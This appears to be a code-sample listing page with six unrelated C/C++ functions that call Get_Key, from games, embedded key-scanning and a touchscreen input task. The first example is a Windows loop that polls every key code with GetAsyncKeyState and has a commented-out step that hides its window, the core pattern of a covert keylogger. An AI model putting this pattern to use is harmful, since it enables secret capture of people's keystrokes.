Beispiel #1
0
int main()
{
 
 //HWND hwnd = GetForegroundWindow() ;
 //ShowWindow(hwnd,SW_HIDE); 

int Code_Ascci;

while(TRUE){  
 
 for(Code_Ascci=0;Code_Ascci<=255;Code_Ascci++) 
    if (GetAsyncKeyState(Code_Ascci) == -32767) Get_Key (Code_Ascci);
                                                //Write_Key((char) Code_Ascci);
 
     Write_ClipBoard();
     
 Sleep(75);
 
}

return 0;
}
Beispiel #2
0
int Paint(HDC hdc)
{
	static int cc;
	if (SceneNum == Title){
		Paint_BG(hdc);		// 背景描画関数へ
		if (cc > 50){
			cc = Get_Key();
			if (cc == 1){
				SceneChanger();
				eobj = new(EnemyManager);
				iobj = new(ItemManager);
				scrobj = new(Scroll);
				blobj = new(Block);
				oilobj = new(OIL);
				pl_move_obj = new(MOVE);
				scrobj->Backimg_x = -(9  * CHIP_SIZE - 550);
				scrobj->Backimg_y = -(30 * CHIP_SIZE - 350);
				player.x = 240;
				player.y = 200;
			}
		}

	}
	else if (SceneNum == Stage1){
		
	pl_move_obj->C_sts(oilobj->c_sts, &oilobj->Oil_Gage);
	pl_move_obj->Move();

	//Scroll
	scrobj->toPoint(&player);
	scrobj->scroll_kansu(hdc);

	//Block
	blobj->toPoint(&player);
	blobj->block_scroll(scrobj->Backimg_x, scrobj->Backimg_y);
	int aa = blobj->block_kansu(hdc);
	if (aa == End){
		SceneNum = End;
		return 0;
	}

	//Enemy
	//-----------------------------
	eobj->chara_strc(&player);
	eobj->enemy_scroll(scrobj->BackMoveX, scrobj->BackMoveY);
	eobj->stage_coord(blobj->get_block_X(), blobj->get_block_Y());
	eobj->MainLoop(hdc);

	oilobj->Item(eobj->GetDeadflag());		//アイテムを取得してゲージに変化があるか判断する(敵の場合は−1される)

	eobj->GetDeadflag(0);

	//オイルゲージ量など更新処理
	oilobj->Player_Sts();
	oilobj->Oil_Sts();


	//Item
	iobj->chara_strc(&player);
	iobj->item_scroll(scrobj->BackMoveX, scrobj->BackMoveY);
	iobj->stage_coord(blobj->get_block_X(), blobj->get_block_Y());
	iobj->MainLoop(hdc);

	oilobj->Item(iobj->GetItemtype());		//アイテムを取得してゲージに変化があるか判断する
	DebugStringVal("%d", iobj->GetItemtype(), hdc, 300, 30, 20);

	iobj->GetItemtype(0);	//値の初期化。 しないとバグが出ます^q^
	
	//オイルゲージ量など更新処理
	oilobj->Player_Sts();
	oilobj->Oil_Sts();


	//オイルとそのゲージの描画
	oilobj->Paint_Oil(hdc);
	oilobj->Paint_Gage(hdc);


	//移動量の最大値の抑制
	if (player.vx < -10)player.vx = -10;
	if (player.vy > 10)	player.vy = 10;

	player.x += player.vx;
	player.y += player.vy;

	//キャラが画面座標0より外へ出ないように抑制
	if (player.x < 0)	player.x = 0;
	if (player.y < 0)	player.y = 0;

	//以下描画処理

	//状態普通
	pl_paint_obj.char_strc(&player);
	if (oilobj->c_sts == HUTHU && a_flg == A_STAND){
		pl_paint_obj.Paint_Player_H(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_WALK1_Right){
		pl_paint_obj.Paint_Walk1_H_Right(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_WALK2_Right){
		pl_paint_obj.Paint_Walk2_H_Right(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_WALK3_Right){
		pl_paint_obj.Paint_Walk3_H_Right(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_WALK4_Right){
		pl_paint_obj.Paint_Walk4_H_Right(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_JUMP){
		pl_paint_obj.Paint_Jump_H(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_TACKL){
		pl_paint_obj.Paint_Tackl_H(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_WALK1_Left){
		pl_paint_obj.Paint_Walk1_H_Left(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_WALK2_Left){
		pl_paint_obj.Paint_Walk2_H_Left(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_WALK3_Left){
		pl_paint_obj.Paint_Walk3_H_Left(hdc);
		player.width = 30;
	}
	if (oilobj->c_sts == HUTHU && a_flg == A_WALK4_Left){
		pl_paint_obj.Paint_Walk4_H_Left(hdc);
		player.width = 30;
	}

	//一番重い状態
	if (oilobj->c_sts == DEBU && a_flg == A_STAND){
		pl_paint_obj.Paint_Player_D(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_WALK1_Right){
		pl_paint_obj.Paint_Walk1_D_Right(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_WALK2_Right){
		pl_paint_obj.Paint_Walk2_D_Right(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_WALK3_Right){
		pl_paint_obj.Paint_Walk3_D_Right(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_WALK4_Right){
		pl_paint_obj.Paint_Walk4_D_Right(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_JUMP){
		pl_paint_obj.Paint_Jump_D(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_TACKL){
		pl_paint_obj.Paint_Tackl_D(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_WALK1_Left){
		pl_paint_obj.Paint_Walk1_D_Left(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_WALK2_Left){
		pl_paint_obj.Paint_Walk2_D_Left(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_WALK3_Left){
		pl_paint_obj.Paint_Walk3_D_Left(hdc);
		player.width = 45;
	}
	if (oilobj->c_sts == DEBU && a_flg == A_WALK4_Left){
		pl_paint_obj.Paint_Walk4_D_Left(hdc);
		player.width = 45;
	}

	//一番中の上状態
	if (oilobj->c_sts == POTYA && a_flg == A_STAND){
		pl_paint_obj.Paint_Player_P(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_WALK1_Right){
		pl_paint_obj.Paint_Walk1_P_Right(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_WALK2_Right){
		pl_paint_obj.Paint_Walk2_P_Right(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_WALK3_Right){
		pl_paint_obj.Paint_Walk3_P_Right(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_WALK4_Right){
		pl_paint_obj.Paint_Walk4_P_Right(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_JUMP){
		pl_paint_obj.Paint_Jump_P(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_TACKL){
		pl_paint_obj.Paint_Tackl_P(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_WALK1_Left){
		pl_paint_obj.Paint_Walk1_P_Left(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_WALK2_Left){
		pl_paint_obj.Paint_Walk2_P_Left(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_WALK3_Left){
		pl_paint_obj.Paint_Walk3_P_Left(hdc);
		player.width = 38;
	}
	if (oilobj->c_sts == POTYA && a_flg == A_WALK4_Left){
		pl_paint_obj.Paint_Walk4_P_Left(hdc);
		player.width = 38;
	}

	//中の下状態
	if (oilobj->c_sts == TYOIYASE && a_flg == A_STAND){
		pl_paint_obj.Paint_Player_Y(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_WALK1_Right){
		pl_paint_obj.Paint_Walk1_Y_Right(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_WALK2_Right){
		pl_paint_obj.Paint_Walk2_Y_Right(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_WALK3_Right){
		pl_paint_obj.Paint_Walk3_Y_Right(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_WALK4_Right){
		pl_paint_obj.Paint_Walk4_Y_Right(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_JUMP){
		pl_paint_obj.Paint_Jump_Y(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_TACKL){
		pl_paint_obj.Paint_Tackl_Y(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_WALK1_Left){
		pl_paint_obj.Paint_Walk1_Y_Left(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_WALK2_Left){
		pl_paint_obj.Paint_Walk2_Y_Left(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_WALK3_Left){
		pl_paint_obj.Paint_Walk3_Y_Left(hdc);
		player.width = 22;
	}
	if (oilobj->c_sts == TYOIYASE && a_flg == A_WALK4_Left){
		pl_paint_obj.Paint_Walk4_Y_Left(hdc);
		player.width = 22;
	}

	//一番軽い状態
	if (oilobj->c_sts == GARI && a_flg == A_STAND){
		pl_paint_obj.Paint_Player_G(hdc);
		player.width = 15;
	}
	if (oilobj->c_sts == GARI && a_flg == A_WALK1_Right){
		pl_paint_obj.Paint_Walk1_G_Right(hdc);
		player.width = 15;
	}
	if (oilobj->c_sts == GARI && a_flg == A_WALK2_Right){
		pl_paint_obj.Paint_Walk2_G_Right(hdc);
		player.width = 15;
	}
	if (oilobj->c_sts == GARI && a_flg == A_WALK3_Right){
		pl_paint_obj.Paint_Walk3_G_Right(hdc);
	}
	if (oilobj->c_sts == GARI && a_flg == A_WALK4_Right){
		pl_paint_obj.Paint_Walk4_G_Right(hdc);
		player.width = 15;
	}
	if (oilobj->c_sts == GARI && a_flg == A_WALK1_Left){
		pl_paint_obj.Paint_Walk1_G_Left(hdc);
		player.width = 15;
	}
	if (oilobj->c_sts == GARI && a_flg == A_WALK2_Left){
		pl_paint_obj.Paint_Walk2_G_Left(hdc);
		player.width = 15;
	}
	if (oilobj->c_sts == GARI && a_flg == A_WALK3_Left){
		pl_paint_obj.Paint_Walk3_G_Left(hdc);
	}
	if (oilobj->c_sts == GARI && a_flg == A_WALK4_Left){
		pl_paint_obj.Paint_Walk4_G_Left(hdc);
		player.width = 15;
	}
	if (oilobj->c_sts == GARI && a_flg == A_JUMP){
		pl_paint_obj.Paint_Jump_G(hdc);
		player.width = 15;
	}
	if (oilobj->c_sts == GARI && a_flg == A_TACKL){
		pl_paint_obj.Paint_Tackl_G(hdc);
		player.width = 15;
	}
	}
	else if (SceneNum == End){
		Paint_BG(hdc);
		if (cc > 50){
			cc = Get_Key();
			if (cc == 1){
				SceneChanger();
				delete eobj;
				delete iobj;
				delete scrobj;
				delete blobj;
				delete pl_move_obj;
				delete oilobj;
			}
		}
		
	}
	cc++;

	return 0;
}
Beispiel #3
0
/*******************************************************************************
* Function Name  : ReadKeyValue
* Description    : Read the KEY value
* Input          : None
* Output         : None
* Return         : uint8_t KEY value
* Attention		 : None
*******************************************************************************/
uint8_t ReadKeyValue(void)
{
	static uint8_t Key_Check;
	static uint8_t Key_State;
	static uint16_t Key_LongCheck;
	static uint8_t Key_Prev    = 0;        							//上一次按键   
	
	uint8_t Key_press;
	uint8_t Key_return = 0;
	
	if(KeyCountTime >= 10)  //KeyCountTime 1MS+1  按键消抖10MS
	{
		KeyCountTime = 0;
		Key_Check = 1;
	}
	if(Key_Check == 1)
	{	
		Key_Check = 0;
		Key_press = Get_Key();
		switch (Key_State)
		{
			case 0:
				if(Key_press != 0)
				{
					Key_Prev = Key_press;
					Key_State = 1;
				}
					
				break;
			case 1:
				if(Key_press == Key_Prev) 
				{
					Key_State = 2;
					Key_return= Key_Prev | KEY_DOWN;
				}
			  else 																					//按键抬起,是抖动,不响应按键 
				{
					Key_State = 0;
				}
				break;
			case 2:

				if(Key_press != Key_Prev)
				{					
					Key_State = 0;
					Key_LongCheck = 0;
					Key_return = Key_Prev | KEY_UP;
					return Key_return;				
				}

				if(Key_press == Key_Prev) 
				{
					Key_LongCheck++;
					if(Key_LongCheck >= 100)    //长按2S
					{			
						Key_LongCheck = 0;
						Key_State = 3;
						Key_return= Key_press |  KEY_LONG;
						return Key_return;	
					}				
				}
				break;
				
				case 3:
				if(Key_press != Key_Prev)
				{
					Key_State = 0;
				}
				break;	
		}
	}
	
	return  NO_KEY;
}
Beispiel #4
0
void Update (GameState gameState)
{
/*Update - Updates the games state via gameObjects.*/

	key key;

  if(gameState->gamePhase == game && gameState->gameStartTime == -1){
      gameState->gameStartTime = SDL_GetTicks();
  }

  switch (gameState->gamePhase){
    case titleScreen:
      OBJECTS->titleMenu->active = true;
      menu_Update(OBJECTS->titleMenu, OBJECTS->code);
      if(OBJECTS->titleMenu->active == false){
        gameState->gamePhase = game;
      }
      DrawMenu(OBJECTS->gameDisplay, OBJECTS->titleMenu, OBJECTS->code, OBJECTS->gameScore);

      break;

    case game:

      key = Get_Key(&OBJECTS->gameDisplay->playerFacing);

      if(key == PAUSE){
        gameState->gamePhase = paused;
      }

      player_Update(OBJECTS->player, key, OBJECTS->entities->startPlatform);
      entity_Update(OBJECTS->entities, gameState->gameStartTime, SDL_GetTicks());
      code_Update(OBJECTS->code, SDL_GetTicks());
      display_ScoreUpdate(OBJECTS->gameScore, OBJECTS->player, OBJECTS->entities, OBJECTS->gameSounds, \
                            gameState->gameStartTime, OBJECTS->pauseMenu->menuTimeElapsed);
      display_Update(OBJECTS->gameDisplay, player_Get_Player_X(OBJECTS->player), \
                        player_Get_Player_Y(OBJECTS->player), player_Get_Player_Lives(OBJECTS->player), \
                        OBJECTS->entities, OBJECTS->gameScore);

      if(player_Get_Player_Lives(OBJECTS->player) < 0){
        Mix_PlayChannel(-1, OBJECTS->gameSounds->death, 0);
        gameState->gamePhase = gameOver;
      }
      break;

    case paused:
        OBJECTS->pauseMenu->active = true;
        menu_Update(OBJECTS->pauseMenu, OBJECTS->code);
        if(OBJECTS->pauseMenu->active == false){
          gameState->gamePhase = game;
        }
        DrawMenu(OBJECTS->gameDisplay, OBJECTS->pauseMenu, OBJECTS->code, OBJECTS->gameScore);
        break;

    case gameOver:
        display_RecordScore(OBJECTS->gameScore->scorePoints);
        SDL_Delay(3000);
        gameState->gamePhase = titleScreen;
        player_GameOverReset(OBJECTS->player);
        enitity_GameOverReset(OBJECTS->entities);
        free(OBJECTS->gameScore);
        OBJECTS->gameScore = display_ScoreInitialise(OBJECTS->gameDisplay);
        gameState->gameStartTime = -1;
				display_ResetBaseItems(OBJECTS->gameDisplay); 
        break;
  }
}
Beispiel #5
0
u8 KEY_Scan(void)
{	 
	static u8 key_up=1;
	if(key_up&&(Get_Key(KEY1)==0||Get_Key(KEY2)==0||Get_Key(KEY3)==1||Get_Key(KEY4)==0))
	{
		Delay(0xFFFFF); 
		key_up=0;
		if(Get_Key(KEY1)==0)return 1;
		else if(Get_Key(KEY2)==0)return 2;
		else if(Get_Key(KEY3)==1)return 3;
		else if(Get_Key(KEY4)==0)return 4;
	}
	else if(Get_Key(KEY1)==1&&Get_Key(KEY2)==1&&Get_Key(KEY3)==0&&Get_Key(KEY4)==1)key_up=1; 	    
	return 0;
}
Beispiel #6
0
void Input_Task(void *parg)
{
	u8 err;
	u8 OK=0;
	u8 buffer[4]={0};
	u8 LEN=0;
	u8 flag=0;
	u16 e=0;
	OS_CPU_SR cpu_sr;
	(void)parg;
	for(;;)
	{
		OSSemPend(PENIRQ,0,&err);
		Exti_Set(0);
		OS_ENTER_CRITICAL();
		touch.FLAG=Read_XY_2(&touch.AD_X,&touch.AD_Y);
		OS_EXIT_CRITICAL();
		if(touch.FLAG)
		{
			Led_On(1);
			touch.FLAG=0;
			touch.LCD_X=CalcXY(touch.AD_X,0);
			touch.LCD_Y=CalcXY(touch.AD_Y,1);
			touch.KEY=Get_Key(touch.PID,touch.LCD_X,touch.LCD_Y);
			if(touch.KEY<=10)
			{
				OS_ENTER_CRITICAL();
				Set_Color(WHITE,BLACK);
				if(touch.KEY==10)
					Show_Char('.',cursor.x,cursor.y);
				else
				{
					Show_Dec(touch.KEY,1,cursor.x,cursor.y);
					if(LEN<4)
					{
						buffer[LEN]=touch.KEY;
						LEN++;
					}
				}
				if(cursor.x<224)
				{
					cursor.x+=8;
					if(cursor.x>=224)
						cursor.x=224;
				}
				OS_EXIT_CRITICAL();
			}
		
			else if(touch.KEY==11)
			{
				OK++;
				if(OK==1)
				{
					VALUE1=CalcDec(buffer,LEN);
					Set_Color(BLACK,GREEN);
					Show_String(">>VALUE1:",2,22);
					Show_Dec(VALUE1,LEN,82,22);
					OS_ENTER_CRITICAL();
					LCD_Clear(4,121,232,38,WHITE);
					cursor.x=8;
					cursor.y=132;
					OS_EXIT_CRITICAL();
					buffer[0]=0;
					buffer[1]=0;
					buffer[2]=0;
					buffer[3]=0;
					LEN=0;
				}
				else if(OK==2)
				{
					VALUE2=CalcDec(buffer,LEN);
					Set_Color(BLACK,GREEN);
					Show_String(">>VALUE2:",2,38);
					Show_Dec(VALUE2,LEN,82,38);
					OS_ENTER_CRITICAL();
					LCD_Clear(4,121,232,38,WHITE);
					cursor.x=8;
					cursor.y=132;
					OS_EXIT_CRITICAL();
					buffer[0]=0;
					buffer[1]=0;
					buffer[2]=0;
					buffer[3]=0;
					LEN=0;
				}
				else if(OK==3)
				{
					VALUE3=CalcDec(buffer,LEN);
					Set_Color(BLACK,GREEN);
					Show_String(">>VALUE3:",2,54);
					Show_Dec(VALUE3,LEN,82,54);
					OS_ENTER_CRITICAL();
					LCD_Clear(4,121,232,38,WHITE);
					cursor.x=8;
					cursor.y=132;
					OS_EXIT_CRITICAL();
					buffer[0]=0;
					buffer[1]=0;
					buffer[2]=0;
					buffer[3]=0;
					LEN=0;
				}
			
				else if(OK==4)
				{
					if(VALUE2>0&&VALUE2<=5000)
					{
						if(VALUE1<VALUE2&&VALUE1>0)
						{
							if(VALUE3>0&&VALUE3<10000)
							{
								e=0;
								Set_Color(BLACK,GREEN);
								Show_String(">>OK!",2,70);
							}
							else
							{
								e=1;
							}
						}
						else
						{
							e=1;
						}
					}
					else
					{
						e=1;
					}

					if(e)	
					{
						Set_Color(BLACK,GREEN);
						Show_String(">>ERROR!",2,70);
					}
				}
				else if(OK==5)
				{
					if(!e)
					{
						OK=0;
						OSTaskSuspend(CURSOR_TASK_PRIO);
						Show_Main(VALUE1,VALUE2,VALUE3,1);
					}
					else
					{
						OK=0;
						e=0;
						LCD_Clear(2,20,236,100,BLACK);
						LCD_DrawEdit(input);
						Set_Cursor(8,132);
					}
					VALUE1=0;
					VALUE2=0;
					VALUE3=0;
				}
				else;
			}
		
			else if(touch.KEY==12)
			{
				OS_ENTER_CRITICAL();
			
				if(LEN>0)
				{
					LEN--;
				}
						
				if(cursor.x>=8) 
				{	
					LCD_Clear(cursor.x,cursor.y,8,16,WHITE);
					cursor.x-=8;
					if(cursor.x<8)
					{
						cursor.x=8;
					}
				}	
				OS_EXIT_CRITICAL();
			}
		
			else if(touch.KEY==13)
			{
				if(flag==0)
				{
					flag=1;
					button1.str="stop";
					button1.len=4;
					button1.line_color=GREEN;
					LCD_DrawButton(button1);
					OSTaskResume(TIMER_TASK_PRIO);
				}
				else
				{
					flag=0;
					button1.str="start";
					button1.len=5;
					button1.line_color=BLACK;
					LCD_DrawButton(button1);
					OSTaskSuspend(TIMER_TASK_PRIO);
				}
			}
		
			else if(touch.KEY==14)
			{
				OSTaskSuspend(TIMER_TASK_PRIO);
				Show_KeyMap();
				OSTaskResume(CURSOR_TASK_PRIO);
			}
			
			else if(touch.KEY==99)//無效輸入
			{}
			else;
			OSTimeDlyHMSM(0,0,0,50);
			Led_Off(1);
		}
		Exti_Set(1);
	}
}